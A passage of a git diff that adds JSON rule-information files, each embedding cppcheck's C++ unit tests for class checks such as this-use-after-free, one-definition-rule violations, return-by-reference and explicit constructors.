'self', invalidating 'this'\\n\"\n \"[test.cpp:3:33]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Assign 'shared_from_this()' to non-static smart pointer\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { mInstance.reset(); hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:39]: warning: Calling method 'hello()' when 'this' might be invalid [thisUseAfterFree]\\n\"\n \"[test.cpp:6:22]: note: Assuming 'mInstance' is used as 'this'\\n\"\n \"[test.cpp:4:20]: note: Delete 'mInstance', invalidating 'this'\\n\"\n \"[test.cpp:4:39]: note: Call method when 'this' is invalid\\n\",\n errout_str());\n\n // Avoid FP..\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void dostuff() { delete self; x = 123; }\\n\"\n \"private:\\n\"\n \" C *self;\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void hold() { mInstance = shared_from_this(); }\\n\"\n \" void dostuff() { if (x) { mInstance.reset(); return; } hello(); }\\n\"\n \"private:\\n\"\n \" std::shared_ptr mInstance;\\n\"\n \" void hello() {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" explicit C(const QString& path) : mPath( path ) {}\\n\"\n \"\\n\"\n \" static void initialize(const QString& path) {\\n\" // <- avoid fp in static method\n \" if (instanceSingleton)\\n\"\n \" delete instanceSingleton;\\n\"\n \" instanceSingleton = new C(path);\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" static C* instanceSingleton;\\n\"\n \"};\\n\"\n \"\\n\"\n \"C* C::instanceSingleton;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Avoid false positive when pointer is deleted in lambda\n checkThisUseAfterFree(\"class C {\\n\"\n \"public:\\n\"\n \" void foo();\\n\"\n \" void set() { p = this; }\\n\"\n \" void dostuff() {}\\n\"\n \" C* p;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void C::foo() {\\n\"\n \" auto done = [this] () { delete p; };\\n\"\n \" dostuff();\\n\"\n \" done();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisUseAfterFree(\"class C {\\n\" // #13311\n \"public:\\n\"\n \" static void init();\\n\"\n \"private:\\n\"\n \" C();\\n\"\n \" static C* self;\\n\"\n \" bool use;\\n\"\n \"};\\n\"\n \"C::C() { use = true; }\\n\"\n \"void C::init() {\\n\"\n \" if (self)\\n\"\n \" delete self;\\n\"\n \" self = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n void ctu(const std::vector &code) {\n Check &check = getCheck();\n\n // getFileInfo\n std::list fileInfo;\n for (const std::string& c: code) {\n const std::string filename = std::to_string(fileInfo.size()) + \".cpp\";\n SimpleTokenizer tokenizer{settingsDefault, *this, filename};\n ASSERT(tokenizer.tokenize(c));\n fileInfo.push_back(check.getFileInfo(tokenizer, settingsDefault, \"\"));\n }\n\n // Check code..\n const CTU::FileInfo ctu;\n check.analyseWholeProgram(ctu, fileInfo, settingsDefault, *this); // TODO: check result\n\n while (!fileInfo.empty()) {\n delete fileInfo.back();\n fileInfo.pop_back();\n }\n }\n\n void ctuOneDefinitionRule() {\n ctu({\"class C { C() { std::cout << 0; } };\", \"class C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C(); }; C::C() { std::cout << 0; }\", \"class C { C(); }; C::C() { std::cout << 1; }\"});\n ASSERT_EQUALS(\"[1.cpp:1:1] -> [0.cpp:1:1]: (error) The one definition rule is violated, different classes/structs have the same name 'C' [ctuOneDefinitionRuleViolation]\\n\", errout_str());\n\n ctu({\"class C { C() {} };\\n\", \"class C { C() {} };\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class C { C(); }; C::C(){}\", \"class C { C(); }; C::C(){}\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n ctu({\"class A::C { C() { std::cout << 0; } };\", \"class B::C { C() { std::cout << 1; } };\"});\n ASSERT_EQUALS(\"\", errout_str());\n\n // 11435 - template specialisations\n const std::string header = \"template struct Test {};\\n\";\n ctu({header + \"template struct Test {};\\n\",\n header + \"template struct Test {};\\n\"});\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n\n#define getFileInfo(...) getFileInfo_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void getFileInfo_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n const Check& c = getCheck();\n Check::FileInfo * fileInfo = (c.getFileInfo)(tokenizer, settings1, \"\");\n\n delete fileInfo;\n }\n\n void testGetFileInfo() {\n getFileInfo(\"void foo() { union { struct { }; }; }\"); // don't crash\n getFileInfo(\"struct sometype { sometype(); }; sometype::sometype() = delete;\"); // don't crash\n }\n\n#define checkReturnByReference(...) checkReturnByReference_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkReturnByReference_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::performance).library(\"std.cfg\").build();\n\n SimpleTokenizer2 tokenizer(settings, *this, code, \"test.cpp\");\n\n ASSERT_LOC(tokenizer.simplifyTokens1(\"\"), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkReturnByReference)();\n }\n\n void returnByReference() {\n checkReturnByReference(\"struct T { int a[10]; };\\n\" // #12546\n \"struct S {\\n\"\n \" T t;\\n\"\n \" int i;\\n\"\n \" std::string s;\\n\"\n \" T getT() const { return t; }\\n\"\n \" int getI() const { return i; }\\n\"\n \" std::string getS() const { return s; }\\n\"\n \" unknown_t f() { return; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:7]: (performance) Function 'getT()' should return member 't' by const reference. [returnByReference]\\n\"\n \"[test.cpp:8:17]: (performance) Function 'getS()' should return member 's' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct B {\\n\" // #12608\n \" virtual std::string f() { return \\\"abc\\\"; }\\n\"\n \"};\\n\"\n \"struct D : B {\\n\"\n \" std::string f() override { return s; }\\n\"\n \" std::string s;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\"\n \" std::string f(std::string s) { return s; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S { S(); };\\n\" // #12620\n \"S::S() = delete;\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n checkReturnByReference(\"struct S {\\n\" // #12626\n \" std::string s;\\n\"\n \" operator std::string_view() const { return s; }\\n\"\n \" std::string_view get() const { return s; }\\n\"\n \"};\\n\"\n \"template\\n\"\n \"struct U {\\n\"\n \" T t;\\n\"\n \" operator const T& () const { return t; }\\n\"\n \"};\\n\"\n \"U u;\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13011\n \" std::string s;\\n\"\n \" const std::string& foo() const & { return s; }\\n\"\n \" std::string foo() && { return s; }\\n\" // <- used for temporary objects\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkReturnByReference(\"struct S1 {\\n\" // #13056\n \" std::string str;\\n\"\n \" struct T { std::string strT; } mT;\\n\"\n \"};\\n\"\n \"struct S2 {\\n\"\n \" std::string get1() const {\\n\"\n \" return mS1->str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return mS1->mT.strT;\\n\"\n \" }\\n\"\n \" S1* mS1;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:17]: (performance) Function 'get1()' should return member 'str' by const reference. [returnByReference]\\n\"\n \"[test.cpp:9:17]: (performance) Function 'get2()' should return member 'strT' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S { std::string str; };\\n\" // #13059\n \"struct T {\\n\"\n \" S temp() const;\\n\"\n \" S s[1];\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" std::string get1() const {\\n\"\n \" return t.temp().str;\\n\"\n \" }\\n\"\n \" std::string get2() const {\\n\"\n \" return t.s[0].str;\\n\"\n \" }\\n\"\n \" T t;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:17]: (performance) Function 'get2()' should return member 'str' by const reference. [returnByReference]\\n\",\n errout_str());\n\n checkReturnByReference(\"struct S {\\n\" // #13845\n \" std::string m;\\n\"\n \" std::string get() { return m; }\\n\"\n \"};\\n\"\n \"std::string f(std::optional o) {\\n\"\n \" return o.transform(&S::get).value_or(\\\"\\\");\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestClass)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkUselessOverride.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkUselessOverride.json new file mode 100644 index 0000000..efaf188 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckClass/checkUselessOverride.json @@ -0,0 +1,22 @@ +{ + "name": "checkUselessOverride", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 55, + "branches": 20, + "apis": 57, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 8777 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"check.h\"\n#include \"checkclass.h\"\n#include \"ctu.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n#include \n#include \n#include \n\nclass TestClass : public TestFixture {\npublic:\n TestClass() : TestFixture(\"TestClass\") {}\n\nprivate:\n const Settings settings0 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").build();\n const Settings settings1 = settingsBuilder().severity(Severity::warning).library(\"std.cfg\").build();\n const Settings settings2 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").certainty(Certainty::inconclusive).build();\n const Settings settings3 = settingsBuilder().severity(Severity::style).library(\"std.cfg\").severity(Severity::warning).build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(virtualDestructor1); // Base class not found => no error\n TEST_CASE(virtualDestructor2); // Base class doesn't have a destructor\n TEST_CASE(virtualDestructor3); // Base class has a destructor, but it's not virtual\n TEST_CASE(virtualDestructor4); // Derived class doesn't have a destructor => no error\n TEST_CASE(virtualDestructor5); // Derived class has empty destructor => no error\n TEST_CASE(virtualDestructor6); // only report error if base class pointer that points at derived class is deleted\n TEST_CASE(virtualDestructorProtected);\n TEST_CASE(virtualDestructorInherited);\n TEST_CASE(virtualDestructorTemplate);\n\n TEST_CASE(virtualDestructorInconclusive); // ticket # 5807\n\n TEST_CASE(copyConstructor1);\n TEST_CASE(copyConstructor2); // ticket #4458\n TEST_CASE(copyConstructor3); // defaulted/deleted\n TEST_CASE(copyConstructor4); // base class with private constructor\n TEST_CASE(copyConstructor5); // multiple inheritance\n TEST_CASE(copyConstructor6); // array of pointers\n TEST_CASE(deletedMemberPointer); // deleted member pointer in destructor\n TEST_CASE(noOperatorEq); // class with memory management should have operator eq\n TEST_CASE(noDestructor); // class with memory management should have destructor\n\n TEST_CASE(operatorEqRetRefThis1);\n TEST_CASE(operatorEqRetRefThis2); // ticket #1323\n TEST_CASE(operatorEqRetRefThis3); // ticket #1405\n TEST_CASE(operatorEqRetRefThis4); // ticket #1451\n TEST_CASE(operatorEqRetRefThis5); // ticket #1550\n TEST_CASE(operatorEqRetRefThis6); // ticket #2479\n TEST_CASE(operatorEqRetRefThis7); // ticket #5782 endless recursion\n TEST_CASE(operatorEqToSelf1); // single class\n TEST_CASE(operatorEqToSelf2); // nested class\n TEST_CASE(operatorEqToSelf3); // multiple inheritance\n TEST_CASE(operatorEqToSelf4); // nested class with multiple inheritance\n TEST_CASE(operatorEqToSelf5); // ticket # 1233\n TEST_CASE(operatorEqToSelf6); // ticket # 1550\n TEST_CASE(operatorEqToSelf7);\n TEST_CASE(operatorEqToSelf8); // ticket #2179\n TEST_CASE(operatorEqToSelf9); // ticket #2592\n\n TEST_CASE(memsetOnStruct);\n TEST_CASE(memsetVector);\n TEST_CASE(memsetOnClass);\n TEST_CASE(memsetOnInvalid); // Ticket #5425: Crash upon invalid\n TEST_CASE(memsetOnStdPodType); // Ticket #5901 - std::uint8_t\n TEST_CASE(memsetOnFloat); // Ticket #5421\n TEST_CASE(memsetOnUnknown); // Ticket #7183\n TEST_CASE(mallocOnClass);\n\n TEST_CASE(this_subtraction); // warn about \"this-x\"\n\n // can member function be made const\n TEST_CASE(const1);\n TEST_CASE(const2);\n TEST_CASE(const3);\n TEST_CASE(const4);\n TEST_CASE(const5); // ticket #1482\n TEST_CASE(const6); // ticket #1491\n TEST_CASE(const7);\n TEST_CASE(const8); // ticket #1517\n TEST_CASE(const9); // ticket #1515\n TEST_CASE(const10); // ticket #1522\n TEST_CASE(const11); // ticket #1529\n TEST_CASE(const12); // ticket #1552\n TEST_CASE(const13); // ticket #1519\n TEST_CASE(const14);\n TEST_CASE(const15);\n TEST_CASE(const16); // ticket #1551\n TEST_CASE(const17); // ticket #1552\n TEST_CASE(const18);\n TEST_CASE(const19); // ticket #1612\n TEST_CASE(const20); // ticket #1602\n TEST_CASE(const21); // ticket #1683\n TEST_CASE(const22);\n TEST_CASE(const23); // ticket #1699\n TEST_CASE(const24); // ticket #1708\n TEST_CASE(const25); // ticket #1724\n TEST_CASE(const26); // ticket #1847\n TEST_CASE(const27); // ticket #1882\n TEST_CASE(const28); // ticket #1883\n TEST_CASE(const29); // ticket #1922\n TEST_CASE(const30);\n TEST_CASE(const31);\n TEST_CASE(const32); // ticket #1905 - member array is assigned\n TEST_CASE(const33);\n TEST_CASE(const34); // ticket #1964\n TEST_CASE(const35); // ticket #2001\n TEST_CASE(const36); // ticket #2003\n TEST_CASE(const37); // ticket #2081 and #2085\n TEST_CASE(const38); // ticket #2135\n TEST_CASE(const39);\n TEST_CASE(const40); // ticket #2228\n TEST_CASE(const41); // ticket #2255\n TEST_CASE(const42); // ticket #2282\n TEST_CASE(const43); // ticket #2377\n TEST_CASE(const44); // ticket #2595\n TEST_CASE(const45); // ticket #2664\n TEST_CASE(const46); // ticket #2636\n TEST_CASE(const47); // ticket #2670\n TEST_CASE(const48); // ticket #2672\n TEST_CASE(const49); // ticket #2795\n TEST_CASE(const50); // ticket #2943\n TEST_CASE(const51); // ticket #3040\n TEST_CASE(const52); // ticket #3048\n TEST_CASE(const53); // ticket #3049\n TEST_CASE(const54); // ticket #3052\n TEST_CASE(const55);\n TEST_CASE(const56); // ticket #3149\n TEST_CASE(const57); // tickets #2669 and #2477\n TEST_CASE(const58); // ticket #2698\n TEST_CASE(const59); // ticket #4646\n TEST_CASE(const60); // ticket #3322\n TEST_CASE(const61); // ticket #5606\n TEST_CASE(const62); // ticket #5701\n TEST_CASE(const63); // ticket #5983\n TEST_CASE(const64); // ticket #6268\n TEST_CASE(const65); // ticket #8693\n TEST_CASE(const66); // ticket #7714\n TEST_CASE(const67); // ticket #9193\n TEST_CASE(const68); // ticket #6471\n TEST_CASE(const69); // ticket #9806\n TEST_CASE(const70); // variadic template can receive more arguments than in its definition\n TEST_CASE(const71); // ticket #10146\n TEST_CASE(const72); // ticket #10520\n TEST_CASE(const73); // ticket #10735\n TEST_CASE(const74); // ticket #10671\n TEST_CASE(const75); // ticket #10065\n TEST_CASE(const76); // ticket #10825\n TEST_CASE(const77); // ticket #10307, #10311\n TEST_CASE(const78); // ticket #10315\n TEST_CASE(const79); // ticket #9861\n TEST_CASE(const80); // ticket #11328\n TEST_CASE(const81); // ticket #11330\n TEST_CASE(const82); // ticket #11513\n TEST_CASE(const83);\n TEST_CASE(const84);\n TEST_CASE(const85);\n TEST_CASE(const86);\n TEST_CASE(const87);\n TEST_CASE(const88);\n TEST_CASE(const89);\n TEST_CASE(const90);\n TEST_CASE(const91);\n TEST_CASE(const92);\n TEST_CASE(const93);\n TEST_CASE(const94);\n TEST_CASE(const95); // #13320 - do not warn about r-value ref method\n TEST_CASE(const96);\n TEST_CASE(const97);\n TEST_CASE(const98);\n TEST_CASE(const99);\n TEST_CASE(const100);\n\n TEST_CASE(const_handleDefaultParameters);\n TEST_CASE(const_passThisToMemberOfOtherClass);\n TEST_CASE(assigningPointerToPointerIsNotAConstOperation);\n TEST_CASE(assigningArrayElementIsNotAConstOperation);\n TEST_CASE(constoperator1); // operator< can often be const\n TEST_CASE(constoperator2); // operator<<\n TEST_CASE(constoperator3);\n TEST_CASE(constoperator4);\n TEST_CASE(constoperator5); // ticket #3252\n TEST_CASE(constoperator6); // ticket #8669\n TEST_CASE(constincdec); // increment/decrement => non-const\n TEST_CASE(constassign1);\n TEST_CASE(constassign2);\n TEST_CASE(constincdecarray); // increment/decrement array element => non-const\n TEST_CASE(constassignarray);\n TEST_CASE(constReturnReference);\n TEST_CASE(constDelete); // delete member variable => not const\n TEST_CASE(constLPVOID); // a function that returns LPVOID can't be const\n TEST_CASE(constFunc); // a function that calls const functions can be const\n TEST_CASE(constVirtualFunc);\n TEST_CASE(constIfCfg); // ticket #1881 - fp when there are #if\n TEST_CASE(constFriend); // ticket #1921 - fp for friend function\n TEST_CASE(constUnion); // ticket #2111 - fp when there is a union\n TEST_CASE(constArrayOperator); // #4406\n TEST_CASE(constRangeBasedFor); // #5514\n TEST_CASE(const_shared_ptr);\n TEST_CASE(constPtrToConstPtr);\n TEST_CASE(constTrailingReturnType);\n TEST_CASE(constRefQualified);\n TEST_CASE(staticArrayPtrOverload);\n TEST_CASE(qualifiedNameMember); // #10872\n\n TEST_CASE(initializerListOrder);\n TEST_CASE(initializerListArgument);\n TEST_CASE(initializerListUsage);\n TEST_CASE(selfInitialization);\n\n TEST_CASE(virtualFunctionCallInConstructor);\n TEST_CASE(pureVirtualFunctionCall);\n TEST_CASE(pureVirtualFunctionCallOtherClass);\n TEST_CASE(pureVirtualFunctionCallWithBody);\n TEST_CASE(pureVirtualFunctionCallPrevented);\n\n TEST_CASE(duplInheritedMembers);\n TEST_CASE(explicitConstructors);\n TEST_CASE(copyCtorAndEqOperator);\n\n TEST_CASE(override1);\n TEST_CASE(overrideCVRefQualifiers);\n\n TEST_CASE(uselessOverride);\n\n TEST_CASE(thisUseAfterFree);\n\n TEST_CASE(unsafeClassRefMember);\n\n TEST_CASE(ctuOneDefinitionRule);\n\n TEST_CASE(testGetFileInfo);\n\n TEST_CASE(returnByReference);\n }\n\n#define checkCopyCtorAndEqOperator(...) checkCopyCtorAndEqOperator_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkCopyCtorAndEqOperator_(const char* file, int line, const char (&code)[size]) {\n const Settings settings = settingsBuilder().severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkCopyCtorAndEqOperator)();\n }\n\n void copyCtorAndEqOperator() {\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A(const A& other) { }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'copy constructor' but lack of 'operator='.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'copy constructor is empty and will not assign i and therefore the behaviour is different to the default assignment operator'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const A& other) { return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:1]: (warning) The class 'A' has 'operator=' but lack of 'copy constructor'.\\n\", \"\", errout_str());\n // TODO the error message should be clarified. It should say something like 'assignment operator does not assign i and therefore the behaviour is different to the default copy constructor'\n\n checkCopyCtorAndEqOperator(\"class A\\n\"\n \"{\\n\"\n \" A& operator=(const int &x) { this->x = x; return *this; }\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkCopyCtorAndEqOperator(\"class A {\\n\"\n \"public:\\n\"\n \" A() : x(0) { }\\n\"\n \" A(const A & a) { x = a.x; }\\n\"\n \" A & operator = (const A & a) {\\n\"\n \" x = a.x;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"class B : public A {\\n\"\n \"public:\\n\"\n \" B() { }\\n\"\n \" B(const B & b) :A(b) { }\\n\"\n \"private:\\n\"\n \" static int i;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7987 - Don't show warning when there is a move constructor\n checkCopyCtorAndEqOperator(\"struct S {\\n\"\n \" std::string test;\\n\"\n \" S(S&& s) : test(std::move(s.test)) { }\\n\"\n \" S& operator = (S &&s) {\\n\"\n \" test = std::move(s.test);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8337 - False positive in copy constructor detection\n checkCopyCtorAndEqOperator(\"struct StaticListNode {\\n\"\n \" StaticListNode(StaticListNode*& prev) : m_next(0) {}\\n\"\n \" StaticListNode* m_next;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkExplicitConstructors(...) checkExplicitConstructors_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkExplicitConstructors_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings0, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings0, this);\n (checkClass.checkExplicitConstructors)();\n }\n\n void explicitConstructors() {\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) { }\\n\"\n \" Class(Class&& other) { }\\n\"\n \" explicit Class(int i) { }\\n\"\n \" explicit Class(const std::string&) { }\\n\"\n \" Class(int a, int b) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" explicit Class(const Class& other) { }\\n\"\n \" explicit Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class() = delete;\\n\"\n \" Class(const Class& other) = delete;\\n\"\n \" Class(Class&& other) = delete;\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(int i) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Class 'Class' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(const Class& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" Class(Class&& other) { }\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6585\n checkExplicitConstructors(\"class Class {\\n\"\n \" private: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Class {\\n\"\n \" public: Class(const Class&);\\n\"\n \" virtual int i() = 0;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7465: Error properly reported in templates\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test(int) : fData(0) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (style) Struct 'Test < int >' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n // #7465: No error for copy or move constructors\n checkExplicitConstructors(\"template struct Test {\\n\"\n \" Test() : fData(0) {}\\n\"\n \" Test (const Test& aOther) : fData(aOther.fData) {}\\n\"\n \" Test (Test&& aOther) : fData(std::move(aOther.fData)) {}\\n\"\n \" T fData;\\n\"\n \"};\\n\"\n \"int main() {\\n\"\n \" Test test;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8600\n checkExplicitConstructors(\"struct A { struct B; };\\n\"\n \"struct A::B {\\n\"\n \" B() = default;\\n\"\n \" B(const B&) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"struct A{\"\n \" A(int, int y=2) {}\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:1:14]: (style) Struct 'A' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct Foo {\\n\" // #10515\n \" template \\n\"\n \" explicit constexpr Foo(T) {}\\n\"\n \"};\\n\"\n \"struct Bar {\\n\"\n \" template \\n\"\n \" constexpr explicit Bar(T) {}\\n\"\n \"};\\n\"\n \"struct Baz {\\n\"\n \" explicit constexpr Baz(int) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Token;\\n\" // #11126\n \"struct Branch {\\n\"\n \" Branch(Token* tok = nullptr) : endBlock(tok) {}\\n\"\n \" Token* endBlock = nullptr;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Struct 'Branch' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\", errout_str());\n\n checkExplicitConstructors(\"struct S {\\n\"\n \" S(std::initializer_list il) : v(il) {}\\n\"\n \" std::vector v;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"template\\n\" // #10977\n \"struct A {\\n\"\n \" template\\n\"\n \" A(Ts&&... ts) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkExplicitConstructors(\"class Color {\\n\" // #7176\n \"public:\\n\"\n \" Color(unsigned int rgba);\\n\"\n \" Color(std::uint8_t r = 0, std::uint8_t g = 0, std::uint8_t b = 0, std::uint8_t a = 255);\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\"\n \"[test.cpp:4:5]: (style) Class 'Color' has a constructor with 1 argument that is not explicit. [noExplicitConstructor]\\n\",\n errout_str());\n\n checkExplicitConstructors(\"template \\n\" // #13878\n \"struct S {\\n\"\n \" S(std::nullptr_t) {}\\n\"\n \" explicit S(T* p) : m(p) {}\\n\"\n \" T* m{};\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkDuplInheritedMembers(...) checkDuplInheritedMembers_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkDuplInheritedMembers_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n (checkClass.checkDuplInheritedMembers)();\n }\n\n void duplInheritedMembers() {\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"struct Derived : Base {\\n\"\n \" int x;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkDuplInheritedMembers(\"class Base {\\n\"\n \" 